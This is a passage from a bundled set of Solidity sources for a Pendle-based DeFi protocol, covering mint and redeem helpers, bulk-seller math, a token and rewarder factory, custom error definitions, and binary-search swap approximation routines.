/**\n * @notice This function contains information to interpret what the asset is\n * @return assetType the type of the asset (0 for ERC20 tokens, 1 for AMM liquidity tokens)\n * @return assetAddress the address of the asset\n * @return assetDecimals the decimals of the asset\n */\n function assetInfo()\n external\n view\n returns (AssetType assetType, address assetAddress, uint8 assetDecimals);\n}\n"
},
"contracts/libraries/ActionBaseMintRedeem.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./TokenHelper.sol\";\nimport \"../interfaces/pendle/IStandardizedYield.sol\";\nimport \"../interfaces/pendle/IPYieldToken.sol\";\nimport \"../interfaces/pendle/IPBulkSeller.sol\";\n\nimport \"./Errors.sol\";\nimport \"../interfaces/pendle/IPSwapAggregator.sol\";\n\nstruct TokenInput {\n // Token/Sy data\n address tokenIn;\n uint256 netTokenIn;\n address tokenMintSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n}\n\nstruct TokenOutput {\n // Token/Sy data\n address tokenOut;\n uint256 minTokenOut;\n address tokenRedeemSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n}\n\n// solhint-disable no-empty-blocks\nabstract contract ActionBaseMintRedeem is TokenHelper {\n bytes internal constant EMPTY_BYTES = abi.encode();\n\n function _mintSyFromToken(\n address receiver,\n address SY,\n uint256 minSyOut,\n TokenInput calldata inp\n ) internal returns (uint256 netSyOut) {\n SwapType swapType = inp.swapData.swapType;\n\n uint256 netTokenMintSy;\n\n if (swapType == SwapType.NONE) {\n _transferIn(inp.tokenIn, msg.sender, inp.netTokenIn);\n netTokenMintSy = inp.netTokenIn;\n } else if (swapType == SwapType.ETH_WETH) {\n _transferIn(inp.tokenIn, msg.sender, inp.netTokenIn);\n _wrap_unwrap_ETH(inp.tokenIn, inp.tokenMintSy, inp.netTokenIn);\n netTokenMintSy = inp.netTokenIn;\n } else {\n if (inp.tokenIn == NATIVE) _transferIn(NATIVE, msg.sender, inp.netTokenIn);\n else _transferFrom(IERC20(inp.tokenIn), msg.sender, inp.pendleSwap, inp.netTokenIn);\n\n IPSwapAggregator(inp.pendleSwap).swap{\n value: inp.tokenIn == NATIVE ? inp.netTokenIn : 0\n }(inp.tokenIn, inp.netTokenIn, inp.swapData);\n netTokenMintSy = _selfBalance(inp.tokenMintSy);\n }\n\n // outcome of all branches: satisfy pre-condition of __mintSy\n\n netSyOut = __mintSy(receiver, SY, netTokenMintSy, minSyOut, inp);\n }\n\n /// @dev pre-condition: having netTokenMintSy of tokens in this contract\n function __mintSy(\n address receiver,\n address SY,\n uint256 netTokenMintSy,\n uint256 minSyOut,\n TokenInput calldata inp\n ) private returns (uint256 netSyOut) {\n uint256 netNative = inp.tokenMintSy == NATIVE ? netTokenMintSy : 0;\n\n if (inp.bulk != address(0)) {\n netSyOut = IPBulkSeller(inp.bulk).swapExactTokenForSy{ value: netNative }(\n receiver,\n netTokenMintSy,\n minSyOut\n );\n } else {\n netSyOut = IStandardizedYield(SY).deposit{ value: netNative }(\n receiver,\n inp.tokenMintSy,\n netTokenMintSy,\n minSyOut\n );\n }\n }\n\n function _redeemSyToToken(\n address receiver,\n address SY,\n uint256 netSyIn,\n TokenOutput calldata out,\n bool doPull\n ) internal returns (uint256 netTokenOut) {\n SwapType swapType = out.swapData.swapType;\n\n if (swapType == SwapType.NONE) {\n netTokenOut = __redeemSy(receiver, SY, netSyIn, out, doPull);\n } else if (swapType == SwapType.ETH_WETH) {\n netTokenOut = __redeemSy(address(this), SY, netSyIn, out, doPull); // ETH:WETH is 1:1\n\n _wrap_unwrap_ETH(out.tokenRedeemSy, out.tokenOut, netTokenOut);\n\n _transferOut(out.tokenOut, receiver, netTokenOut);\n } else {\n uint256 netTokenRedeemed = __redeemSy(out.pendleSwap, SY, netSyIn, out, doPull);\n\n IPSwapAggregator(out.pendleSwap).swap(\n out.tokenRedeemSy,\n netTokenRedeemed,\n out.swapData\n );\n\n netTokenOut = _selfBalance(out.tokenOut);\n\n _transferOut(out.tokenOut, receiver, netTokenOut);\n }\n\n // outcome of all branches: netTokenOut of tokens goes back to receiver\n\n if (netTokenOut < out.minTokenOut) {\n revert Errors.RouterInsufficientTokenOut(netTokenOut, out.minTokenOut);\n }\n }\n\n function __redeemSy(\n address receiver,\n address SY,\n uint256 netSyIn,\n TokenOutput calldata out,\n bool doPull\n ) private returns (uint256 netTokenRedeemed) {\n if (doPull) {\n _transferFrom(IERC20(SY), msg.sender, _syOrBulk(SY, out), netSyIn);\n }\n\n if (out.bulk != address(0)) {\n netTokenRedeemed = IPBulkSeller(out.bulk).swapExactSyForToken(\n receiver,\n netSyIn,\n 0,\n true\n );\n } else {\n netTokenRedeemed = IStandardizedYield(SY).redeem(\n receiver,\n netSyIn,\n out.tokenRedeemSy,\n 0,\n true\n );\n }\n }\n\n function _mintPyFromSy(\n address receiver,\n address SY,\n address YT,\n uint256 netSyIn,\n uint256 minPyOut,\n bool doPull\n ) internal returns (uint256 netPyOut) {\n if (doPull) {\n _transferFrom(IERC20(SY), msg.sender, YT, netSyIn);\n }\n\n netPyOut = IPYieldToken(YT).mintPY(receiver, receiver);\n if (netPyOut < minPyOut) revert Errors.RouterInsufficientPYOut(netPyOut, minPyOut);\n }\n\n function _redeemPyToSy(\n address receiver,\n address YT,\n uint256 netPyIn,\n uint256 minSyOut\n ) internal returns (uint256 netSyOut) {\n address PT = IPYieldToken(YT).PT();\n\n _transferFrom(IERC20(PT), msg.sender, YT, netPyIn);\n\n bool needToBurnYt = (!IPYieldToken(YT).isExpired());\n if (needToBurnYt) _transferFrom(IERC20(YT), msg.sender, YT, netPyIn);\n\n netSyOut = IPYieldToken(YT).redeemPY(receiver);\n if (netSyOut < minSyOut) revert Errors.RouterInsufficientSyOut(netSyOut, minSyOut);\n }\n\n function _syOrBulk(address SY, TokenOutput calldata output)\n internal\n pure\n returns (address addr)\n {\n return output.bulk != address(0) ? output.bulk : SY;\n }\n}\n"
},
"contracts/libraries/BulkSellerMathCore.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./TokenHelper.sol\";\nimport \"./math/Math.sol\";\nimport \"./Errors.sol\";\n\nstruct BulkSellerState {\n uint256 rateTokenToSy;\n uint256 rateSyToToken;\n uint256 totalToken;\n uint256 totalSy;\n uint256 feeRate;\n}\n\nlibrary BulkSellerMathCore {\n using Math for uint256;\n\n function swapExactTokenForSy(\n BulkSellerState memory state,\n uint256 netTokenIn\n ) internal pure returns (uint256 netSyOut) {\n netSyOut = calcSwapExactTokenForSy(state, netTokenIn);\n state.totalToken += netTokenIn;\n state.totalSy -= netSyOut;\n }\n\n function swapExactSyForToken(\n BulkSellerState memory state,\n uint256 netSyIn\n ) internal pure returns (uint256 netTokenOut) {\n netTokenOut = calcSwapExactSyForToken(state, netSyIn);\n state.totalSy += netSyIn;\n state.totalToken -= netTokenOut;\n }\n\n function calcSwapExactTokenForSy(\n BulkSellerState memory state,\n uint256 netTokenIn\n ) internal pure returns (uint256 netSyOut) {\n uint256 postFeeRate = state.rateTokenToSy.mulDown(Math.ONE - state.feeRate);\n assert(postFeeRate != 0);\n\n netSyOut = netTokenIn.mulDown(postFeeRate);\n if (netSyOut > state.totalSy)\n revert Errors.BulkInsufficientSyForTrade(state.totalSy, netSyOut);\n }\n\n function calcSwapExactSyForToken(\n BulkSellerState memory state,\n uint256 netSyIn\n ) internal pure returns (uint256 netTokenOut) {\n uint256 postFeeRate = state.rateSyToToken.mulDown(Math.ONE - state.feeRate);\n assert(postFeeRate != 0);\n\n netTokenOut = netSyIn.mulDown(postFeeRate);\n if (netTokenOut > state.totalToken)\n revert Errors.BulkInsufficientTokenForTrade(state.totalToken, netTokenOut);\n }\n\n function getTokenProp(BulkSellerState memory state) internal pure returns (uint256) {\n uint256 totalToken = state.totalToken;\n uint256 totalTokenFromSy = state.totalSy.mulDown(state.rateSyToToken);\n return totalToken.divDown(totalToken + totalTokenFromSy);\n }\n\n function getReBalanceParams(\n BulkSellerState memory state,\n uint256 targetTokenProp\n ) internal pure returns (uint256 netTokenToDeposit, uint256 netSyToRedeem) {\n uint256 currentTokenProp = getTokenProp(state);\n\n if (currentTokenProp > targetTokenProp) {\n netTokenToDeposit = state\n .totalToken\n .mulDown(currentTokenProp - targetTokenProp)\n .divDown(currentTokenProp);\n } else {\n uint256 currentSyProp = Math.ONE - currentTokenProp;\n netSyToRedeem = state.totalSy.mulDown(targetTokenProp - currentTokenProp).divDown(\n currentSyProp\n );\n }\n }\n\n function reBalanceTokenToSy(\n BulkSellerState memory state,\n uint256 netTokenToDeposit,\n uint256 netSyFromToken,\n uint256 maxDiff\n ) internal pure {\n uint256 rate = netSyFromToken.divDown(netTokenToDeposit);\n\n if (!Math.isAApproxB(rate, state.rateTokenToSy, maxDiff))\n revert Errors.BulkBadRateTokenToSy(rate, state.rateTokenToSy, maxDiff);\n\n state.totalToken -= netTokenToDeposit;\n state.totalSy += netSyFromToken;\n }\n\n function reBalanceSyToToken(\n BulkSellerState memory state,\n uint256 netSyToRedeem,\n uint256 netTokenFromSy,\n uint256 maxDiff\n ) internal pure {\n uint256 rate = netTokenFromSy.divDown(netSyToRedeem);\n\n if (!Math.isAApproxB(rate, state.rateSyToToken, maxDiff))\n revert Errors.BulkBadRateSyToToken(rate, state.rateSyToToken, maxDiff);\n\n state.totalToken += netTokenFromSy;\n state.totalSy -= netSyToRedeem;\n }\n\n function setRate(\n BulkSellerState memory state,\n uint256 rateSyToToken,\n uint256 rateTokenToSy,\n uint256 maxDiff\n ) internal pure {\n if (\n state.rateTokenToSy != 0 &&\n !Math.isAApproxB(rateTokenToSy, state.rateTokenToSy, maxDiff)\n ) {\n revert Errors.BulkBadRateTokenToSy(rateTokenToSy, state.rateTokenToSy, maxDiff);\n }\n\n if (\n state.rateSyToToken != 0 &&\n !Math.isAApproxB(rateSyToToken, state.rateSyToToken, maxDiff)\n ) {\n revert Errors.BulkBadRateSyToToken(rateSyToToken, state.rateSyToToken, maxDiff);\n }\n\n state.rateTokenToSy = rateTokenToSy;\n state.rateSyToToken = rateSyToToken;\n }\n}\n"
},
"contracts/libraries/ERC20FactoryLib.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\npragma experimental ABIEncoderV2;\n\nimport { ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { MintableERC20 } from \"./MintableERC20.sol\";\nimport { PenpieReceiptToken } from \"../rewards/PenpieReceiptToken.sol\";\nimport { BaseRewardPoolV2 } from \"../rewards/BaseRewardPoolV2.sol\";\n\nlibrary ERC20FactoryLib {\n function createERC20(string memory name_, string memory symbol_) public returns(address) \n {\n ERC20 token = new MintableERC20(name_, symbol_);\n return address(token);\n }\n\n function createReceipt(address _stakeToken, address _masterPenpie, string memory _name, string memory _symbol) public returns(address)\n {\n ERC20 token = new PenpieReceiptToken(_stakeToken, _masterPenpie, _name, _symbol);\n return address(token);\n }\n\n function createRewarder(\n address _receiptToken,\n address mainRewardToken,\n address _masterRadpie,\n address _rewardQueuer\n ) external returns (address) {\n BaseRewardPoolV2 _rewarder = new BaseRewardPoolV2(\n _receiptToken,\n mainRewardToken,\n _masterRadpie,\n _rewardQueuer\n );\n return address(_rewarder);\n } \n}"
},
"contracts/libraries/Errors.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nlibrary Errors {\n // BulkSeller\n error BulkInsufficientSyForTrade(uint256 currentAmount, uint256 requiredAmount);\n error BulkInsufficientTokenForTrade(uint256 currentAmount, uint256 requiredAmount);\n error BulkInSufficientSyOut(uint256 actualSyOut, uint256 requiredSyOut);\n error BulkInSufficientTokenOut(uint256 actualTokenOut, uint256 requiredTokenOut);\n error BulkInsufficientSyReceived(uint256 actualBalance, uint256 requiredBalance);\n error BulkNotMaintainer();\n error BulkNotAdmin();\n error BulkSellerAlreadyExisted(address token, address SY, address bulk);\n error BulkSellerInvalidToken(address token, address SY);\n error BulkBadRateTokenToSy(uint256 actualRate, uint256 currentRate, uint256 eps);\n error BulkBadRateSyToToken(uint256 actualRate, uint256 currentRate, uint256 eps);\n\n // APPROX\n error ApproxFail();\n error ApproxParamsInvalid(uint256 guessMin, uint256 guessMax, uint256 eps);\n error ApproxBinarySearchInputInvalid(\n uint256 approxGuessMin,\n uint256 approxGuessMax,\n uint256 minGuessMin,\n uint256 maxGuessMax\n );\n\n // MARKET + MARKET MATH CORE\n error MarketExpired();\n error MarketZeroAmountsInput();\n error MarketZeroAmountsOutput();\n error MarketZeroLnImpliedRate();\n error MarketInsufficientPtForTrade(int256 currentAmount, int256 requiredAmount);\n error MarketInsufficientPtReceived(uint256 actualBalance, uint256 requiredBalance);\n error MarketInsufficientSyReceived(uint256 actualBalance, uint256 requiredBalance);\n error MarketZeroTotalPtOrTotalAsset(int256 totalPt, int256 totalAsset);\n error MarketExchangeRateBelowOne(int256 exchangeRate);\n error MarketProportionMustNotEqualOne();\n error MarketRateScalarBelowZero(int256 rateScalar);\n error MarketScalarRootBelowZero(int256 scalarRoot);\n error MarketProportionTooHigh(int256 proportion, int256 maxProportion);\n\n error OracleUninitialized();\n error OracleTargetTooOld(uint32 target, uint32 oldest);\n error OracleZeroCardinality();\n\n error MarketFactoryExpiredPt();\n error MarketFactoryInvalidPt();\n error MarketFactoryMarketExists();\n\n error MarketFactoryLnFeeRateRootTooHigh(uint80 lnFeeRateRoot, uint256 maxLnFeeRateRoot);\n error MarketFactoryReserveFeePercentTooHigh(\n uint8 reserveFeePercent,\n uint8 maxReserveFeePercent\n );\n error MarketFactoryZeroTreasury();\n error MarketFactoryInitialAnchorTooLow(int256 initialAnchor, int256 minInitialAnchor);\n\n // ROUTER\n error RouterInsufficientLpOut(uint256 actualLpOut, uint256 requiredLpOut);\n error RouterInsufficientSyOut(uint256 actualSyOut, uint256 requiredSyOut);\n error RouterInsufficientPtOut(uint256 actualPtOut, uint256 requiredPtOut);\n error RouterInsufficientYtOut(uint256 actualYtOut, uint256 requiredYtOut);\n error RouterInsufficientPYOut(uint256 actualPYOut, uint256 requiredPYOut);\n error RouterInsufficientTokenOut(uint256 actualTokenOut, uint256 requiredTokenOut);\n error RouterExceededLimitSyIn(uint256 actualSyIn, uint256 limitSyIn);\n error RouterExceededLimitPtIn(uint256 actualPtIn, uint256 limitPtIn);\n error RouterExceededLimitYtIn(uint256 actualYtIn, uint256 limitYtIn);\n error RouterInsufficientSyRepay(uint256 actualSyRepay, uint256 requiredSyRepay);\n error RouterInsufficientPtRepay(uint256 actualPtRepay, uint256 requiredPtRepay);\n error RouterNotAllSyUsed(uint256 netSyDesired, uint256 netSyUsed);\n\n error RouterTimeRangeZero();\n error RouterCallbackNotPendleMarket(address caller);\n error RouterInvalidAction(bytes4 selector);\n error RouterInvalidFacet(address facet);\n\n error RouterKyberSwapDataZero();\n\n // YIELD CONTRACT\n error YCExpired();\n error YCNotExpired();\n error YieldContractInsufficientSy(uint256 actualSy, uint256 requiredSy);\n error YCNothingToRedeem();\n error YCPostExpiryDataNotSet();\n error YCNoFloatingSy();\n\n // YieldFactory\n error YCFactoryInvalidExpiry();\n error YCFactoryYieldContractExisted();\n error YCFactoryZeroExpiryDivisor();\n error YCFactoryZeroTreasury();\n error YCFactoryInterestFeeRateTooHigh(uint256 interestFeeRate, uint256 maxInterestFeeRate);\n error YCFactoryRewardFeeRateTooHigh(uint256 newRewardFeeRate, uint256 maxRewardFeeRate);\n\n // SY\n error SYInvalidTokenIn(address token);\n error SYInvalidTokenOut(address token);\n error SYZeroDeposit();\n error SYZeroRedeem();\n error SYInsufficientSharesOut(uint256 actualSharesOut, uint256 requiredSharesOut);\n error SYInsufficientTokenOut(uint256 actualTokenOut, uint256 requiredTokenOut);\n\n // SY-specific\n error SYQiTokenMintFailed(uint256 errCode);\n error SYQiTokenRedeemFailed(uint256 errCode);\n error SYQiTokenRedeemRewardsFailed(uint256 rewardAccruedType0, uint256 rewardAccruedType1);\n error SYQiTokenBorrowRateTooHigh(uint256 borrowRate, uint256 borrowRateMax);\n\n error SYCurveInvalidPid();\n error SYCurve3crvPoolNotFound();\n\n error SYApeDepositAmountTooSmall(uint256 amountDeposited);\n error SYBalancerInvalidPid();\n error SYInvalidRewardToken(address token);\n\n error SYStargateRedeemCapExceeded(uint256 amountLpDesired, uint256 amountLpRedeemable);\n\n error SYBalancerReentrancy();\n\n // Liquidity Mining\n error VCInactivePool(address pool);\n error VCPoolAlreadyActive(address pool);\n error VCZeroVePendle(address user);\n error VCExceededMaxWeight(uint256 totalWeight, uint256 maxWeight);\n error VCEpochNotFinalized(uint256 wTime);\n error VCPoolAlreadyAddAndRemoved(address pool);\n\n error VEInvalidNewExpiry(uint256 newExpiry);\n error VEExceededMaxLockTime();\n error VEInsufficientLockTime();\n error VENotAllowedReduceExpiry();\n error VEZeroAmountLocked();\n error VEPositionNotExpired();\n error VEZeroPosition();\n error VEZeroSlope(uint128 bias, uint128 slope);\n error VEReceiveOldSupply(uint256 msgTime);\n\n error GCNotPendleMarket(address caller);\n error GCNotVotingController(address caller);\n\n error InvalidWTime(uint256 wTime);\n error ExpiryInThePast(uint256 expiry);\n error ChainNotSupported(uint256 chainId);\n\n error FDTotalAmountFundedNotMatch(uint256 actualTotalAmount, uint256 expectedTotalAmount);\n error FDEpochLengthMismatch();\n error FDInvalidPool(address pool);\n error FDPoolAlreadyExists(address pool);\n error FDInvalidNewFinishedEpoch(uint256 oldFinishedEpoch, uint256 newFinishedEpoch);\n error FDInvalidStartEpoch(uint256 startEpoch);\n error FDInvalidWTimeFund(uint256 lastFunded, uint256 wTime);\n error FDFutureFunding(uint256 lastFunded, uint256 currentWTime);\n\n error BDInvalidEpoch(uint256 epoch, uint256 startTime);\n\n // Cross-Chain\n error MsgNotFromSendEndpoint(uint16 srcChainId, bytes path);\n error MsgNotFromReceiveEndpoint(address sender);\n error InsufficientFeeToSendMsg(uint256 currentFee, uint256 requiredFee);\n error ApproxDstExecutionGasNotSet();\n error InvalidRetryData();\n\n // GENERIC MSG\n error ArrayLengthMismatch();\n error ArrayEmpty();\n error ArrayOutOfBounds();\n error ZeroAddress();\n error FailedToSendEther();\n error InvalidMerkleProof();\n\n error OnlyLayerZeroEndpoint();\n error OnlyYT();\n error OnlyYCFactory();\n error OnlyWhitelisted();\n\n // Swap Aggregator\n error SAInsufficientTokenIn(address tokenIn, uint256 amountExpected, uint256 amountActual);\n error UnsupportedSelector(uint256 aggregatorType, bytes4 selector);\n}"
},
"contracts/libraries/MarketApproxLib.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./math/Math.sol\";\nimport \"./math/MarketMathCore.sol\";\n\nstruct ApproxParams {\n uint256 guessMin;\n uint256 guessMax;\n uint256 guessOffchain; // pass 0 in to skip this variable\n uint256 maxIteration; // every iteration, the diff between guessMin and guessMax will be divided by 2\n uint256 eps; // the max eps between the returned result & the correct result, base 1e18. Normally this number will be set\n // to 1e15 (1e18/1000 = 0.1%)\n\n /// Further explanation of the eps. Take swapExactSyForPt for example. To calc the corresponding amount of Pt to swap out,\n /// it's necessary to run an approximation algorithm, because by default there only exists the Pt to Sy formula\n /// To approx, the 5 values above will have to be provided, and the approx process will run as follows:\n /// mid = (guessMin + guessMax) / 2 // mid here is the current guess of the amount of Pt out\n /// netSyNeed = calcSwapSyForExactPt(mid)\n /// if (netSyNeed > exactSyIn) guessMax = mid - 1 // since the maximum Sy in can't exceed the exactSyIn\n /// else guessMin = mid (1)\n /// For the (1), since netSyNeed <= exactSyIn, the result might be usable. If the netSyNeed is within eps of\n /// exactSyIn (ex eps=0.1% => we have used 99.9% the amount of Sy specified), mid will be chosen as the final guess result\n\n /// for guessOffchain, this is to provide a shortcut to guessing. The offchain SDK can precalculate the exact result\n /// before the tx is sent. When the tx reaches the contract, the guessOffchain will be checked first, and if it satisfies the\n /// approximation, it will be used (and save all the guessing). It's expected that this shortcut will be used in most cases\n /// except in cases that there is a trade in the same market right before the tx\n}\n\nlibrary MarketApproxPtInLib {\n using MarketMathCore for MarketState;\n using PYIndexLib for PYIndex;\n using Math for uint256;\n using Math for int256;\n using LogExpMath for int256;\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap in\n - Try swapping & get netSyOut\n - Stop when netSyOut greater & approx minSyOut\n - guess & approx is for netPtIn\n */\n function approxSwapPtForExactSy(\n MarketState memory market,\n PYIndex index,\n uint256 minSyOut,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netPtIn*/, uint256 /*netSyOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n (uint256 netSyOut, uint256 netSyFee, ) = calcSyOut(market, comp, index, guess);\n\n if (netSyOut >= minSyOut) {\n if (Math.isAGreaterApproxB(netSyOut, minSyOut, approx.eps))\n return (guess, netSyOut, netSyFee);\n approx.guessMax = guess;\n } else {\n approx.guessMin = guess;\n }\n }\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap in\n - Flashswap the corresponding amount of SY out\n - Pair those amount with exactSyIn SY to tokenize into PT & YT\n - PT to repay the flashswap, YT transferred to user\n - Stop when the amount of SY to be pulled to tokenize PT to repay loan approx the exactSyIn\n - guess & approx is for netYtOut (also netPtIn)\n */\n function approxSwapExactSyForYt(\n MarketState memory market,\n PYIndex index,\n uint256 exactSyIn,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netYtOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n approx.guessMin = Math.max(approx.guessMin, index.syToAsset(exactSyIn));\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n validateApprox(approx);\n }\n\n // at minimum we will flashswap exactSyIn since we have enough SY to payback the PT loan\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOut, uint256 netSyFee, ) = calcSyOut(market, comp, index, guess);\n\n uint256 netSyToTokenizePt = index.assetToSyUp(guess);\n\n // for sure netSyToTokenizePt >= netSyOut since we are swapping PT to SY\n uint256 netSyToPull = netSyToTokenizePt - netSyOut;\n\n if (netSyToPull <= exactSyIn) {\n if (Math.isASmallerApproxB(netSyToPull, exactSyIn, approx.eps))\n return (guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap to SY\n - Swap PT to SY\n - Pair the remaining PT with the SY to add liquidity\n - Stop when the ratio of PT / totalPt & SY / totalSy is approx\n - guess & approx is for netPtSwap\n */\n function approxSwapPtToAddLiquidity(\n MarketState memory market,\n PYIndex index,\n uint256 totalPtIn,\n uint256 blockTime,\n ApproxParams memory approx\n )\n internal\n pure\n returns (uint256 /*netPtSwap*/, uint256 /*netSyFromSwap*/, uint256 /*netSyFee*/)\n {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n approx.guessMax = Math.min(approx.guessMax, totalPtIn);\n validateApprox(approx);\n require(market.totalLp != 0, \"no existing lp\");\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (\n uint256 syNumerator,\n uint256 ptNumerator,\n uint256 netSyOut,\n uint256 netSyFee,\n\n ) = calcNumerators(market, index, totalPtIn, comp, guess);\n\n if (Math.isAApproxB(syNumerator, ptNumerator, approx.eps))\n return (guess, netSyOut, netSyFee);\n\n if (syNumerator <= ptNumerator) {\n // needs more SY --> swap more PT\n approx.guessMin = guess + 1;\n } else {\n // needs less SY --> swap less PT\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n function calcNumerators(\n MarketState memory market,\n PYIndex index,\n uint256 totalPtIn,\n MarketPreCompute memory comp,\n uint256 guess\n )\n internal\n pure\n returns (\n uint256 syNumerator,\n uint256 ptNumerator,\n uint256 netSyOut,\n uint256 netSyFee,\n uint256 netSyToReserve\n )\n {\n (netSyOut, netSyFee, netSyToReserve) = calcSyOut(market, comp, index, guess);\n\n uint256 newTotalPt = uint256(market.totalPt) + guess;\n uint256 newTotalSy = (uint256(market.totalSy) - netSyOut - netSyToReserve);\n\n // it is desired that\n // netSyOut / newTotalSy = netPtRemaining / newTotalPt\n // which is equivalent to\n // netSyOut * newTotalPt = netPtRemaining * newTotalSy\n\n syNumerator = netSyOut * newTotalPt;\n ptNumerator = (totalPtIn - guess) * newTotalSy;\n }\n\n struct Args7 {\n MarketState market;\n PYIndex index;\n uint256 exactPtIn;\n uint256 blockTime;\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap to SY\n - Flashswap the corresponding amount of SY out\n - Tokenize all the SY into PT + YT\n - PT to repay the flashswap, YT transferred to user\n - Stop when the additional amount of PT to pull to repay the loan approx the exactPtIn\n - guess & approx is for totalPtToSwap\n */\n function approxSwapExactPtForYt(\n MarketState memory market,\n PYIndex index,\n uint256 exactPtIn,\n uint256 blockTime,\n ApproxParams memory approx\n )\n internal\n pure\n returns (uint256 /*netYtOut*/, uint256 /*totalPtToSwap*/, uint256 /*netSyFee*/)\n {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n approx.guessMin = Math.max(approx.guessMin, exactPtIn);\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOut, uint256 netSyFee, ) = calcSyOut(market, comp, index, guess);\n\n uint256 netAssetOut = index.syToAsset(netSyOut);\n\n // guess >= netAssetOut since we are swapping PT to SY\n uint256 netPtToPull = guess - netAssetOut;\n\n if (netPtToPull <= exactPtIn) {\n if (Math.isASmallerApproxB(netPtToPull, exactPtIn, approx.eps))\n return (netAssetOut, guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n ////////////////////////////////////////////////////////////////////////////////\n\n function calcSyOut(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n uint256 netPtIn\n ) internal pure returns (uint256 netSyOut, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyOut, int256 _netSyFee, int256 _netSyToReserve) = market.calcTrade(\n comp,\n index,\n -int256(netPtIn)\n );\n netSyOut = uint256(_netSyOut);\n netSyFee = uint256(_netSyFee);\n netSyToReserve = uint256(_netSyToReserve);\n }\n\n function nextGuess(ApproxParams memory approx, uint256 iter) internal pure returns (uint256) {\n if (iter == 0 && approx.guessOffchain != 0) return approx.guessOffchain;\n if (approx.guessMin <= approx.guessMax) return (approx.guessMin + approx.guessMax) / 2;\n revert Errors.ApproxFail();\n }\n\n /// INTENDED TO BE CALLED BY WHEN GUESS.OFFCHAIN == 0 ONLY ///\n\n function validateApprox(ApproxParams memory approx) internal pure {\n if (approx.guessMin > approx.guessMax || approx.eps > Math.ONE)\n revert Errors.ApproxParamsInvalid(approx.guessMin, approx.guessMax, approx.eps);\n }\n\n function calcMaxPtIn(\n MarketState memory market,\n MarketPreCompute memory comp\n ) internal pure returns (uint256) {\n uint256 low = 0;\n uint256 hi = uint256(comp.totalAsset) - 1;\n\n while (low != hi) {\n uint256 mid = (low + hi + 1) / 2;\n if (calcSlope(comp, market.totalPt, int256(mid)) < 0) hi = mid - 1;\n else low = mid;\n }\n return low;\n }\n\n function calcSlope(\n MarketPreCompute memory comp,\n int256 totalPt,\n int256 ptToMarket\n ) internal pure returns (int256) {\n int256 diffAssetPtToMarket = comp.totalAsset - ptToMarket;\n int256 sumPt = ptToMarket + totalPt;\n\n require(diffAssetPtToMarket > 0 && sumPt > 0, \"invalid ptToMarket\");\n\n int256 part1 = (ptToMarket * (totalPt + comp.totalAsset)).divDown(\n sumPt * diffAssetPtToMarket\n );\n\n int256 part2 = sumPt.divDown(diffAssetPtToMarket).ln();\n int256 part3 = Math.IONE.divDown(comp.rateScalar);\n\n return comp.rateAnchor - (part1 - part2).mulDown(part3);\n }\n}\n\nlibrary MarketApproxPtOutLib {\n using MarketMathCore for MarketState;\n using PYIndexLib for PYIndex;\n using Math for uint256;\n using Math for int256;\n using LogExpMath for int256;\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Calculate the amount of SY needed\n - Stop when the netSyIn is smaller approx exactSyIn\n - guess & approx is for netSyIn\n */\n function approxSwapExactSyForPt(\n MarketState memory market,\n PYIndex index,\n uint256 exactSyIn,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netPtOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtOut(comp, market.totalPt));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyIn, uint256 netSyFee, ) = calcSyIn(market, comp, index, 